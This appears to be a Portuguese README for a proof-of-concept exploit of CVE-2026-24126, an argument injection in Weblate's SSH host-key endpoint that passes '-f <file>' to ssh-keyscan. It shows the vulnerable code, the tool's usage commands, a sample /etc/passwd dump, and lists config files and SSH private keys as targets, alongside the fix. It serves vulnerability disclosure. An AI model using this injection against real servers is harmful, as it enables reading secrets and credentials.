alexb616/weblate-cve-2026-24126Prova de conceito de exploit para CVE-2026-24126, uma leitura arbitrária de arquivos no Weblate por meio de injeção de argumento de host SSH, permitindo que administradores autenticados leiam arquivos do servidor.
Descoberto por: Alejandro Baño · Janeiro de 2026 Reconhecido por: Notas de lançamento do Weblate 5.16
O endpoint de gerenciamento de chaves de host SSH do Weblate passa o parâmetro host fornecido por um administrador autenticado diretamente para ssh-keyscan sem qualquer sanitização ou validação de argumentos. Como o ssh-keyscan aceita a flag -f <arquivo> para ler nomes de host de um arquivo, um atacante com credenciais de administrador pode injetar essa flag como o valor do host e forçar o servidor a abrir um arquivo local arbitrário. A saída de erro resultante (ou stdout) é refletida literalmente de volta ao navegador dentro de um bloco de mensagem de erro, vazando o conteúdo do arquivo.
| Campo | Valor |
|---|---|
| Alvo | Weblate (instâncias auto-hospedadas) |
| Componente | Gerenciamento de chaves SSH — weblate/ssh/views.py · add_host_key() |
| Autenticação necessária | Sim — conta de administrador do Weblate |
| Versões afetadas | Todas as versões ≤ 5.15.2 (testado em 5.0.2 e 5.15.2) |
| Impacto | Leitura arbitrária de arquivos locais como o usuário do processo do servidor web (weblate, www-data, etc.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplificado
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host é anexado sem validação
result = subprocess.run(cmdline, ...)
O valor de host vem diretamente do campo host do corpo da requisição POST, sem lista de permissões, sem remoção de hífens iniciais e sem terminador de argumento -- antes do valor fornecido pelo usuário. Isso permite que um atacante injete qualquer flag do ssh-keyscan.
ssh-keyscan -f /etc/passwd lê /etc/passwd como uma lista de nomes de host, falha ao resolver cada linha e produz saída de erro para cada uma delas. Essa saída de erro se propaga através do manipulador CalledProcessError e é exibida dentro de um bloco alert-danger na resposta HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Flag | Descrição |
|---|---|
-r / --rhost | URL base da instância do Weblate |
-u / --username | Nome de usuário do administrador |
-p / --password | Senha do administrador |
-f / --file | Caminho do arquivo a ser lido no servidor |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login bem-sucedido para o usuário: admin
[*] Enviando payload para http://localhost/manage/ssh/, isso pode levar algum tempo, por favor aguarde...
[+] Conteúdo do arquivo extraído:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit concluído
Qualquer arquivo legível pelo usuário do sistema operacional que executa o Weblate (tipicamente o usuário weblate) pode ser exfiltrado através de uma única requisição POST autenticada. Alvos sensíveis incluem:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaAtualize para o Weblate 5.16.0 ou posterior. Esta é a correção oficial lançada pela equipe do Weblate em 18 de fevereiro de 2026, que introduziu validação adequada de entrada no campo de host SSH.
Este repositório destina-se exclusivamente a pesquisa de segurança educacional e autorizada. Não use esta ferramenta contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade por uso indevido.